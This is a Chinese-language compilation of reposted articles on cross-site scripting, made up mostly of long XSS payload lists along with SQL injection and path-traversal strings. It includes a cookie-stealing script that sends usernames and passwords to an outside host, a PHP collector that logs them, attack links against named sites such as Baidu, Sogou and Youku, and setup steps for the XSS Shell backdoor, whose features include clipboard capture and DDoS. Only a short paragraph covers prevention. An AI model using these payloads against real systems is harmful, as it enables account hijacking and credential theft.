XSS 代码总结
XSS跨站測試代碼大全
http://www.cnblogs.com/dsky/archive/2012/04/06/2434768.html'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/http://www.cnblogs.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG src="javascript:alert('XSS');">
<IMG src=javascript:alert('XSS')>
<IMG src=JaVaScRiPt:alert('XSS')>
<IMG src=JaVaScRiPt:alert("XSS")>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src=javascript:alert('XSS')>
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
<IMG src="jav ascript:alert('XSS');">
"<IMG src=java\0script:alert(\"XSS\")>";' > out
<IMG src=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE href="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML src="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG src="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code]
========
XSS代碼觸發條件,插入XSS代碼的常用方法
http://www.2cto.com/article/201207/140004.html1.腳本插入
?
(1)插入javascript和vbscript正常字符。
例1:<img src=”javascript:alert(/xss/)”>
例2:<table background=”javascript:alert(/xss/)”></table>’/在表格中插入腳本
例3:<img src=”vbscript:msgbox(“a”)”>
(2)轉換字符類型。將javascript或vbscript中的任一個或全部字符轉換為十進制或十六進制字符
例1:<img src=”javascript:alert(/xss/)”> ‘/將j字符轉為十進制字符j 。
例2:<img src=”javascript:alert(/xss/)”> ‘/將j字符轉為十六進制字符j 。
(3)插入混淆字符。在系統控制字符中,除了頭部的�(null)和尾部的(del)外,其他31個字符均可作為混淆字符,比如 、 等字符都可插入到
javascript或vbscript的頭部,其中Tab符 、換行符、回車符還可以插入到代碼中任意地方。
例1:<img src=” javascript:alert(/a/)”> ‘/插入到代碼頭部,其中 可寫成 ,效果一樣
例2:<img src=”java scr ipt:alert(/a/)”> ‘/插入到代碼中任意位置,其中 可寫成
例3:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是回車符的16進制形式
例4:<IMG SRC=”jav ascript:alert(‘XSS’)”> ‘/ 是換行符的16進制形式
2.樣式表 www.2cto.com
(1)利用CSS代碼@import、expression觸發XSS漏洞。
例1:@import “http://web/xss.css”; ‘導入外部帶有XSS代碼的CSS樣式表。
例2:@import’javascript:alert(“xss”)’; ‘調用javascript腳本觸發漏洞
例3:body{xss:expression(alert(‘xss’))} ‘在內部樣式表中加入expression事件
例4:<img style=”xss:expression(alert(“xss”))”>’在內嵌樣式表中加入expression事件
(2)在CSS代碼中加入javascript和vbscript腳本
例1:body{background-image:url(javascript:alert(“xss”))}
例2:body{background-image:url(vbscript:msgbox(“xss”))}
(3)轉換字符類型,以十六進制字符替換其中或全部的字符:
例1:@\0069mport:url(web/1.css);’//將其中的i轉為\0069
例2:body{xss:\0065xpression(alert(‘xss’))}’//將e轉換為\0065
例3:body{background-image:\0075\0072\006c…}’將url全轉為16進制
(4)插入混淆字符,在css中,/**/是注釋字符,除了/**/外,字符”\”和結束符”\0″也是被忽略的,可以用來混淆字符。
例1:@\0im\port’\0ja\vasc\ript:alert(“xss”)’;
例2:@\i\0m\00p\000o\0000\00000r\000000t”url”;
========
一些經典的XSS跨站代碼整理
http://www.jb51.net/hack/56973.html
?
<!-- " --!><input value="><img src=xx:x οnerrοr=alert(1)//">?
<script/οnlοad=alert(1)></script> IE9?
<style/οnlοad=alert(1)>?
alert([0x0D]-->[0x0D]1<!--[0x0D])?
1<!--i?
document.write('<img src="<iframe/οnlοad=alert(1)>\0">'); IE8?
JSON.parse('{"__proto__":["a",1]}')?
location++?
IE valid syntax: 我,啊=1,b=[我,啊],alert(我,啊)?
alert('aaa\0bbb') IE only show aaa http://jsbin.com/emekog?
<svg><animation xLI:href="javascript:alert(1)"> based on H5SC#88 #Opera?
Function('alert(arguments.callee.caller)')()?
firefox dos? while(1)find();?
<div/style=x:expression(alert(URL=1))>?
Inject <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"> enabled css expression,breaking standard mode!?
<applet code=javascript:alert('sgl')> and <embed src=javascript:alert('sgl')> umm...cute FF!?
<math><script>sgl='<img/src=xx:x οnerrοr=alert(1)>'</script> chrome firefox opera vector?
<svg><oooooo/oooooooooo/οnlοad=alert(1) > works on webkit~?
<body/οnlοad=\\\vbs\\\::::::::alert+'x'+[000000]+'o'+'x'+[000000]::::::::>?
vbs:alert+-[]?
<body/οnlοad=vbs::::::::alert----+--+----1:::::::::>?
Firefox vector <math><a xlink:href="//mmme.me">click?
<svg><script>a='<svg/οnlοad=alert(1)></svg>';alert(2)</script>?
Inj>> <script/src=//0.gg/xxxxx> << <script>...</script> less xss?
[code]Webkit X-XSS-Protection header is enabled just now :P?
<svg/οnlοad=domain=id> 22 letters e.g http://fiddle.jshell.net./KG7fR/5/show/?
<?xml encoding="><svg/οnlοad=alert(1)// >">?
<a "<img/src=xxx:x οnerrοr=alert(1) >x</a> Distinctive IE?
Also <a `="<img/οnerrοr=alert(1) src=xx:xx>'></h1>">x</a>?
<h1 "='<img/οnerrοr=alert(1) src=xx:xx>'></h1> IE only?
<1h name="<svg/οnlοad=alert(1)>"></1h>?
<img ="1 src=xxx:x οnerrοr=alert(1)//" > works in not-IE?
javascript=1;for(javascript in RuntimeObject());javascript=='javascript'?
<body/οnerrοr=alert(event)><img/src=javascript:throw[Object.getOwnPropertyNames(this)]> Firefox Sanbox object?
<img src='javascript:while([{}]);'> works in firefox?
for(x in document.open); Crash your IE 6:>?
localStorage.setItem('setItem',1)?
Only to find '?'.toUpperCase()==='?'.toUpperCase()?
J? H? T? W? Y? i? length==2?
'?'.toUpperCase()=='I'?
Also '?'.toUpperCase()=='SS'?
'?.toUpperCase() =='FF'// alike: ? FI ? FL ? FFI ? FFL ? ST ? ST?
#Opera data:text/html;base64,<<<<<<<<PH Nj cmlwdD5hb我-勒-個-去GVyd CgxKTwvc 2NyaXB0Pg=>>>>>>>>>>?
Firefox always the most cute data:_,<script>alert(1)</script>?
<a href="ftp:/baidu.com">xx</a>?
http://?????????? works in Firefox?
RegExp.prototype.valueOf=alert,/-/-/-/;//IE,is there anything else??
location='javascript:alert(1)'?
for({} in {});?
興味深いhttp://jsbin.com/inekab for Opera only?
<a href=https:http://www.google.com>x</a> That's a relative path??
document.frames==window.frames?
<a href="jar:xxx" id=x></a> x.protocol=='http:' on #firefox?
(0).constructor.constructor=function(){alert(eval(arguments[0].substr(6)))} Easy to decode jjencode and aaencode :D?
127.0x000000001==127.0.0.1?
<input value="sefewfewf"/> Chrome input value block?
<svg><xmp><img/οnerrοr=alert(1) src=xxx:x />?
<img src/="><img src=xxx:x οnerrοr=alert(1)//">?
有趣的isindex <isindex formaction=javascript:alert(1) type=submit >?
chrome:xx - >chrome://crash/ crash??
<form action=javascript:alert(1) /><input> Chrome input enter fucked!?
<form/><button/><keygen/> chrome send empty key,is funny~_~?
<form/><input/formaction=javascript:alert(1)> Because <form> not a void element.[/code?
[code]<form><input/name="isindex"> when name are isindex does not send key.?
<form id=x ></form><button form=x formaction="javascript:alert(1)">X It like http://html5sec.org/#1 but only chrome support .?
<script language="php">echo 1 ?> Fascinating.?
fvck:for(_?in?this)_['match'](/.Element$/)&&console.log(_)?
location.reload('javascript:alert(1)') //ie only,lol~?
{}alert(1)?
Twitter @jackmasa =P?
========
跨站腳本攻擊XSS
http://www.cnblogs.com/dolphinX/p/3391351.html跨站腳本攻擊(Cross Site Script為了區別于CSS簡稱為XSS)指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的。
一個簡單的留言板
我們有個頁面用于允許用戶發表留言,然后在頁面底部顯示留言列表
復制代碼
<!DOCTYPE html>
<html>
<head>
? ? <?php include('/components/headerinclude.php');?></head>
? ? <style type="text/css">
? ? ? ? .comment-title{
? ? ? ? ? ? font-size:14px;
? ? ? ? ? ? margin: 6px 0px 2px 4px;
? ? ? ? }
? ? ? ? .comment-body{
? ? ? ? ? ? font-size: 14px;
? ? ? ? ? ? color:#ccc;
? ? ? ? ? ? font-style: italic;
? ? ? ? ? ? border-bottom: dashed 1px #ccc;
? ? ? ? ? ? margin: 4px;
? ? ? ? }
? ? </style>
? ? <script type="text/javascript" src="/js/cookies.js"></script>
<body>
? ? <form method="post" action="list.php">
? ? ? ? <div style="margin:20px;">
? ? ? ? ? ? <div style="font-size:16px;font-weight:bold;">Your Comment</div>
? ? ? ? ? ? <div style="padding:6px;">
? ? ? ? ? ? ? ? Nick Name:
? ? ? ? ? ? ? ? <br/>
? ? ? ? ? ? ? ? <input name="name" type="text" style="width:300px;"/>
? ? ? ? ? ? </div>
? ? ? ? ? ? <div style="padding:6px;">
? ? ? ? ? ? ? ? Comment:
? ? ? ? ? ? ? ? <br/>
? ? ? ? ? ? ? ? <textarea name="comment" style="height:100px; width:300px;"></textarea>
? ? ? ? ? ? </div>
? ? ? ? ? ? <div style="padding-left:230px;">
? ? ? ? ? ? ? ? <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
? ? ? ? ? ? </div>
? ? ? ? ? ? <div style="border-bottom:solid 1px #fff;margin-top:10px;">
? ? ? ? ? ? ? ? <div style="font-size:16px;font-weight:bold;">Comments</div>
? ? ? ? ? ? </div>
? ? ? ? ? ? <?php?
? ? ? ? ? ? ? ? require('/components/comments.php');?
? ? ? ? ? ? ? ? if(!empty($_POST['name'])){
? ? ? ? ? ? ? ? ? ? addElement($_POST['name'],$_POST['comment']);
? ? ? ? ? ? ? ? }
? ? ? ? ? ? ? ? renderComments();
? ? ? ? ? ? ?>
? ? ? ? </div>
? ? </form>
</body>
</html>
復制代碼
?
addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,網頁看起來是這樣的
?
image
XSS
因為我們完全信任了用戶輸入,但有些別有用心的用戶會像這樣的輸入
image
這樣無論是誰訪問這個頁面的時候控制臺都會輸出“Hey you are a fool fish!”,如果這只是個惡意的小玩笑,有些人做的事情就不可愛了,有些用戶會利用這個漏洞竊取用戶信息、誘騙人打開惡意網站或者下載惡意程序等,看個最簡單的例子
利用xss竊取用戶名密碼
?
當然這個示例很簡單,幾乎攻擊不到任何網站,僅僅看看其原理。我們知道很多登陸界面都有記住用戶名、密碼的功能方便用戶下次登錄,有些網站是直接用明文記錄用戶名、密碼,惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結構名稱后,如果網站有xss漏洞,那么簡單的利用jsonp就可以獲取其它用戶的用戶名、密碼了。
惡意用戶會這么輸入
image
我們看看http://test.com/hack.js里藏了什么
var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);
幾句簡單的javascript,獲取cookie中的用戶名密碼,利用jsonp把向http://test.com/index.php
發送了一個get請求
http://test.com/index.php
復制代碼
<?php
? ? if(!empty($_GET['password'])){
? ? ? ? $username=$_GET['username'];
? ? ? ? $password=$_GET['password'];
? ? ? ??
? ? ? ? try{
? ? ? ? ? ? $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
? ? ? ? ? ? $fp=fopen($path,'a');
? ? ? ? ? ? flock($fp, LOCK_EX);
? ? ? ? ? ? fwrite($fp, "$username\t $password\r\n");
? ? ? ? ? ? flock($fp, LOCK_UN);
? ? ? ? ? ? fclose($fp);
? ? ? ? }catch(Exception $e){
? ? ? ? }
? ? }
?>
復制代碼
這樣惡意用戶就把訪問留言板的用戶的信息竊取了
怎么預防
上面演示的是一個非常簡單的XSS攻擊,還有很多隱蔽的方式,但是其核心都是利用了腳本注入,因此我們解決辦法其實很簡單,不信賴用戶輸入,對特殊字符如”<”,”>”轉義,就可以從根本上防止這一問題,當然很多解決方案都對XSS做了特定限制,如上面這中做法在ASP.NET中不幸不同,微軟validateRequest對表單提交自動做了XSS驗證。但防不勝防,總有些聰明的惡意用戶會到我們的網站搞破壞,對自己站點不放心可以看看這個XSS跨站測試代碼大全試試站點是否安全。
========
跨站代碼大全
<script>alert("跨站")</script> ? ? ?(最常見的跨站代碼)?<img scr=javascript:alert("跨站")></img>?
<img scr="javascript: alert(/跨站/)></img>?
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?是用tab鍵弄出來的空格)?
<img scr="#" οnerrοr=alert(/跨站/)></img>?
<img scr="#" style="xss:e-xpression(alert(/xss/));"></img>?
<img scr="#"/* */οnerrοr=alert(/xss/) width=150></img> (/**/ 表示注釋)?
<img src=vbscript:msgbox ("xss")></img>?
<style> input {left:e-xpression (alert('xss'))}</style>?
<div style={left:e-xpression (alert('xss'))}></div>?
<div style={left:exp/* */ression (alert('xss'))}></div>?
<div style={left:\0065\0078ression (alert('xss'))}></div>?
html實體: <div style={left:&#x0065;xpression (alert('xss'))}></div>?
unicode:<div style="{left:expRessioN (alert('xss'))}"> ?
上面是普通的?
163的filter過濾語句跨站代碼?
<style/style" STYLE="background: expre><ssion(alert(>"\\<XSS="));">?
filter己將上述label理解為三個label,語法分析與其后語句關聯分析時己失效.?
exploit:<style/style" STYLE="background: expre><ssion(alert(>"\\<XSS="));"> background:expression((window.rrr==1)?'':eval('rrr=1; eval(unescape(alert(/t00ls低調發展/.source)));'));}'{}</style><div id="m">hhhhh</div> (己和諧)?
不懂CSS的 百度下 "Css中的filter常用濾鏡屬性及語句大全"?
上面中window.rrr==1等語句是給window對象的方法定義一個值,判斷這個值運行一次.?
來看看HTML5跨站代碼 ?
引入媒體類測試代碼Example:?
<video οnerrοr=javascript:alert(1)><source>?
<audio οnerrοr=javascript:alert(1)><source>?
表單點擊測試代碼Example:?
<form id=test onforminput=alert(1)> <input> </form> <button form=test onformchange=alert(2)?
>X?
鼠標事件測試代碼Example:?
Before HTML5:?
<input type=text value=‐‐>Injecting here οnmοuseοver=alert(Injected value)>?
With HTML5:?
<input type=text value=‐‐>Injecting here οnfοcus=alert(Injected value) autofocus>?
DIV 測試代碼Example:?
<div draggable=true οndragstart=event.dataTransfer.setData(text/plain, Evil data)>?
<h3>DRAG ME!!</h3>?
</div>?
引入框架測試代碼Example:?
<iframe src=http://www.sitedirsec.com sandbox></iframe> ?
再看看 百度想跨站代碼 分兩個0.0?
這些是曾經的..?
http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert('xss'));?
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert('xss'));?
tn和bar兩個參數對應在頁面的輸出是兩個input表單值,可以使用”(雙引號)閉合表單值,加入CSS屬性跨站,頁面具體輸出如下:?
<input type=hidden name=tn value=""/**/style=xss:expression(alert('xss'));">?
這個漏洞只能在IE下使用,FIREFOX會把URL鏈接參數中的”(雙引號)轉成編碼%22,頁面參數的輸出也會變成%22,就不能閉合”(雙引號)跨站。expression()是個不聽話的角色,這里可以用一個小技巧來去掉expression煩人的死循環。運行當前URL的#注釋符后的代碼:?
eval(unescape(location.hash.substr(1)))?
給window對象的方法定義一個值,判斷這個值運行一次代碼:?
(window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1?
最后得到完美的攻擊鏈接:?
http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#alert%28%29?
? ? ?恩 很好的思路 用給window對象的方法定義一個值,判斷這個值運行一次代碼 以及 # 搞定火狐.?
還有 80vul的 搜狗跨站 (已經修補)?
http://pinyin.sogou.com/skins/search.php?word=WCRTESTINPUT000000" οnmοuseοver=window["al"+"ert"](1)?
? ? ? 搜狗過濾的關鍵字alert 這樣分開寫 一樣能跨?
獻丑了,有什么寫得不好的 說吧.. O(∩_∩)O~
========
巧用eval 進行xss攻擊-繞過輸入長度限制攻擊頁面
http://www.weixinla.com/document/20542228.html?
今天聊點技術話題:XSS 攻擊「跨站腳本攻擊」的一種特殊方式。
XSS 攻擊是啥?先看下定義:
XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中,比如這些代碼包括HTML代碼和客戶端腳本。這種類型的漏洞由于被黑客用來編寫危害性更大的網絡釣魚(Phishing)攻擊而變得廣為人知。
舉個栗子你可能就能體會到這種攻擊有啥危害了。
2011年6月28日,新浪微博出現了一次比較大的XSS攻擊事件。大量用戶自動發送諸如:“郭美美事件的一些未注意到的細節”,“建 黨大業中穿幫的地方”,“讓女人心動的100句詩歌”,“3D肉團團高清普通話版種子”,“這是傳說中的神仙眷侶啊”,“驚爆!范冰冰艷照真流出了”等等 微博和私信,并自動關注一位名為hellosamy的用戶。
巧用eval 進行xss攻擊-繞過輸入長度限制攻擊頁面
事件的經過線索如下:
20:14,開始有大量帶V的認證用戶中招轉發蠕蟲
20:30,2kt.cn中的病毒頁面無法訪問
20:32,新浪微博中hellosamy用戶無法訪問
21:02,新浪漏洞修補完畢
這是典型的XSS蠕蟲,通過社交傳播迅速擴散,當用戶瀏覽被注入惡意代碼的頁面時,拿到用戶Cookie,用戶身份被劫持,比如這里的自動發微博、自動關注某人。
所以,XSS攻擊是絕大部分Web 開發者都需要防范的,所有產品經理都要重視的一個安全風險。然而,很多時候我們的頁面防范措施都不夠全面。
今天,我們就以一個簡單的XSS漏洞攻擊過程,來看看一個看似防守嚴密的頁面,會怎樣被黑客利用。
來看看優酷的一個活動頁面,來到 http://minisite.youku.com/autobaojun/ ,看到有表單,一般有輸入的地方就是XSS攻擊的重要入口:
巧用eval 進行xss攻擊-繞過輸入長度限制攻擊頁面
(1)點擊我要參加,彈出浮層。
(2)測試得知 姓名字段沒有過濾。
(3)但是輸入 <img src=# οnerrοr=alert(document.cookie) /> 之后會被截斷到 30字符以內。所以,數據庫字段設計在 30 字符以內,插入的時候自動截斷了。
(4)所以接下來重點就變成:如何構造盡量短的XSS攻擊代碼。
(5)經分析 活動列表頁 http://minisite.youku.com/autobaojun/list.php 按照創建時間降序排列,所以,只要構造幾條30字符以內的xss代碼,保證這幾條代碼在同一個頁面,都可以達到攻擊的目的。
原理:把XSS代碼片段A拆成A1、A2、A3、A4、A5幾個片段,因為列表頁是降序排列的,把拆出來的代碼片段按A5、A4、A3、A2、A1 的順序拼接起來,用eval()函數執行拼接起來的代碼片段即可。
于是,我們構造如下的代碼:
'<script>eval(z);</script>',
'<script>z+="ookie);"</script>',
'<script>z+="ent.c";</script>',
'<script>z+="docum";</script>',
'<script>z="alert(";</script>',
逐條插入到 姓名字段。
注冊送1666元組合紅包 【點擊進入】
紅包比例2%比例抵扣 使用20元紅包投月標,相當于加息24%
查 看
如上,成功拿到cookie.
拿到cookie 之后可以干什么呢?你再回去看看新浪微博那個案例就知道了~
在一些以cookie為登錄憑證的網站,拿到了cookie,就等于拿到了你的登錄身份,也就是我們常看到的,為啥我的賬號發了一些莫名其妙的東西?
以上,我們就巧用eval,利用一系列很短的XSS代碼片段拼接,完成了繞過輸入長度限制攻擊頁面。
========
黑客介紹跨站攻擊工具XSS Shell腳本安全
http://www.unjs.com/ziliaoku/dn/202077.html? ? XSS跨站腳本攻擊屬于被動式攻擊,對于急于求成的朋友來說,往往不會被重視,而喜歡掛馬的朋友則喜愛有加,
黑客介紹跨站攻擊工具XSS Shell腳本安全。通過構造特殊的頁面,再把調用該頁面的代碼嵌在被攻擊者網站的某一網頁中,而當有人瀏覽該頁面時,在后臺即已執行了內嵌的代碼。對于被調用頁面的構造,根據不同的需求功能也不一樣。最常見的是掛馬,比如利用IE漏洞悄悄在瀏覽者的計算機上種植木馬;而另一種方式則可以利用互動式頁面的各種語言(如ASP,PHP,JSP等)來構造一個完全達到自己需求的頁面,而不是簡單地做一種達到目的的“介質”。
? ? 對于第一種攻擊來說,問題是顯而易見的。你得面臨的問題起碼有四個,分別是相應的系統漏洞、系統補丁、殺毒軟件以及防火墻。也就是說,首先你要保證手上有下載并執行漏洞的利用軟件,然后祈禱對方沒有及時打補丁的習慣,接著下載了軟件開始祈禱殺毒軟件別把你的木馬給Kill掉,最后在通信的時候希望對方的防火墻別阻攔你;而且木馬個頭一般不小,在瀏覽器中執行是有異常癥狀的(起碼我們看黑防的人會起疑心)。而后一種攻擊方式則不同了,它基本遵循SQL Injection的最大優點:穿透防火墻。除了網站系統的漏洞外,基本不需要其他條件支持。因為控制端的網頁在自己服務器上而非類似WebShell放在目標服務器上,所以即使對方的殺毒軟件再厲害也沒有用的。說了這么多,今天的主角也該上場了,它就是XSS Shell。
? ? XSS Shell可以作為一個強大的后門和遠程管理軟件。這個概念首先是由“XSS-Proxy http://xss-proxy.sourceforge.net/”提出的,XSS Shell可以向木馬發送請求和接受相關數據,并且以被嵌入代碼的頁面為后門。這里提醒大家的是,被攻擊者不一定是服務器,服務器只是一種介質,真正被攻擊的是瀏覽服務器上我們動過手腳的頁面的人。
? ? XSS Shell的配置
? ? XSS Shell解壓后在目錄下有3個文件夾和兩個文件,一個是TXT說明,一個是ASP文檔。我們把文件夾xssshell和“xssshell.asp”放在自己的服務器上,db文件夾放在服務器上一個隱蔽或是非Web目錄下,確保其不能被HTTP下載。
? ? 1) xssshell.asp的配置
? ? 打開xssshell.asp,找到“SERVER CONFIG”部分,代碼如下所示。
? ? // You XSSShell Server
? ? var SERVER = "http://attacker/";
? ? // This file's name
? ? var ME = SERVER + "xssshell.asp?p=1" ;
? ? // Connector file (can be in php, cfm, pl etc. just stick with implementation)
? ? var CONNECTOR = SERVER + "xssshell/connector.asp";
? ? // Commands file (can be in php, cfm, pl etc. just stick with implementation)
? ? var COMMANDS_URL = SERVER + "xssshell/commands.asp";
? ? 這里用于定義服務器,我們把Server的值換成自己的IP就可以了,如把http://attacker/換成http://127.0.0.1/。為了保險起見,最好再核查一下修改后的Server是否可以讓后面的ME、CONNECTOR、COMMANDS_URL的值可行。
? ? 2) xssshell/db.asp的配置
? ? 這里主要修改數據庫的路徑和進入管理的密碼。
? ? ' Password protection added
? ? Option Explicit
? ? '60 minutes
? ? Session.Timeout = 60
? ? 'Open In Live Enviroments
? ? 'On error resume next
? ? '// DATABASE CONFIGURATION
? ? Const DBPATH = "..\db\shell.mdb"
? ? 'Activity check time as seconds
? ? Const Activity = "10"
? ? Const SQLSERVER = False
? ? 在“Const DBPATH=”后面修改自己的數據庫的地址,
電腦資料《黑客介紹跨站攻擊工具XSS Shell腳本安全》(http://www.unjs.com)。管理登錄的默認密碼是“w00t”,大家可搜索“w00t”后替換為自己的密碼。
? ? 3)調試成功
? ? 該軟件還提供了一個“sample_victim”文件夾,從字面上就可以猜出是例子的意思,文件夾里有四個Web頁面,其中的default.asp運行后如圖1所示。
? ? 看似正常的頁面,實際上其中已經嵌入了我們需要的代碼:。也就是說,以后我們只需要在可以跨站的地方直接輸入這段代碼就可以了。
? ? 圖2是XSS Shell的管理頁面:http://[YOURHOST]/xssshell/,輸入密碼后即可進入,VICTIMS下已經顯示有一個“受害者”了。由于所有頁面都是在自己的計算機上,所以下面我再給大家做個實例演示。
? ? 首先確定自己服務器的IP。打開CMD輸入IPCONFIG,得知自己的IP為:125.71.*.*,修改為。接著打開一個存在跨站漏洞的頁面,如圖3所示,然后發表留言,如圖4所示。
? ? 留言內容里的代碼看來被執行了哦(沒有任何顯示)。這里我發現一個現象,比如我提交了一個含有“”的留言,如果我再提交一個,則上次提交的留言會被覆蓋或是被刪除。我嘗試了幾個ASP系統都是如此,如果重復使用這句代碼,甚至會把對方的系統搞亂!
? ? 功能演示
? ? 如圖5所示,畫線的框內都是XSS Shell可以執行的功能。下面我們對其進行一一說明。
? ? 1)getCookie()
? ? 這個功能用于獲取Cookie,單擊它后如圖6所示,會顯示目標的Cookie(Logs跑到下面了)。這個功能還是很有用的,比如以前的動網前臺提權漏洞就需要先獲得管理員的Cookie。
? ? 2)getSelfHtml()
? ? 這個功能用于獲取用戶當前的網頁源代碼,很簡單,大家試用一下就知道了。
? ? 3)alert()
? ? 這個功能一看就知道是向對方發送消息的。它利用的是Alert函數,所以對方接收到的消息是以提示框的形式顯示的,如圖7所示。輸入消息的內容在管理頁的參數框內寫入,如圖8所示。
? ? 4)eval()
? ? 這個功能可以在受害者的瀏覽器里執行任意腳本,內容也是在圖8的參數框里輸入。比如輸入javascript.:alert("dd")后點擊“eval()”鏈接,就會在受害者那邊彈出窗口。
? ? 5)prompt(on>)
? ? 這個功能就比較好玩了。在參數框中輸入內容(如你愛我嗎?)后執行,在受害者的瀏覽器中會有如圖9所示的提示。在Logs中,我們還可以看到對方的回答,如圖10所示。
? ? 6)getMouseLog()
? ? 這個功能可以記錄受害者鼠標的情況,并將其保存在日志中。
? ? 7)getClipboard()
? ? 這個功能用于獲取受害者的內存剪貼板上的內容,不過目前只對IE有效,FireFox無法實現。
? ? 8)getInternalIP()
? ? 這個功能用于獲取受害者的IP地址,不過目前該功能有缺陷,只對 Mozilla+JVM有效。
? ? 9)getPage()
? ? 這個功能是以受害者的身份請求一個網頁,在參數框里填入地址,可以是相對的也可以是絕對的地址。不過為了避免出錯,我們還是使用相對地址,請求后的結果如圖11所示。在XSS Shell管理頁面的下方還有一個Viewer小型瀏覽器,圖中未顯示出的圖片還是因為路徑的原因。利用這個功能,我們可以用于繞過某些驗證從而實現提升權限。
? ? 最后兩項功能是DDoS()和Crash(),DDOS就不用我介紹了,大家都知道;而Crash()則是針對目標CPU發起的攻擊,兩者在達到的效果上是差不多的。另外,XSS Shell成功發出指令后,有時會出現如圖12所示的畫線處的數字,它是攻擊號碼,我們不必理會它,稍后會自動生成結果的,就如同下面的那些結果一樣。
? ?
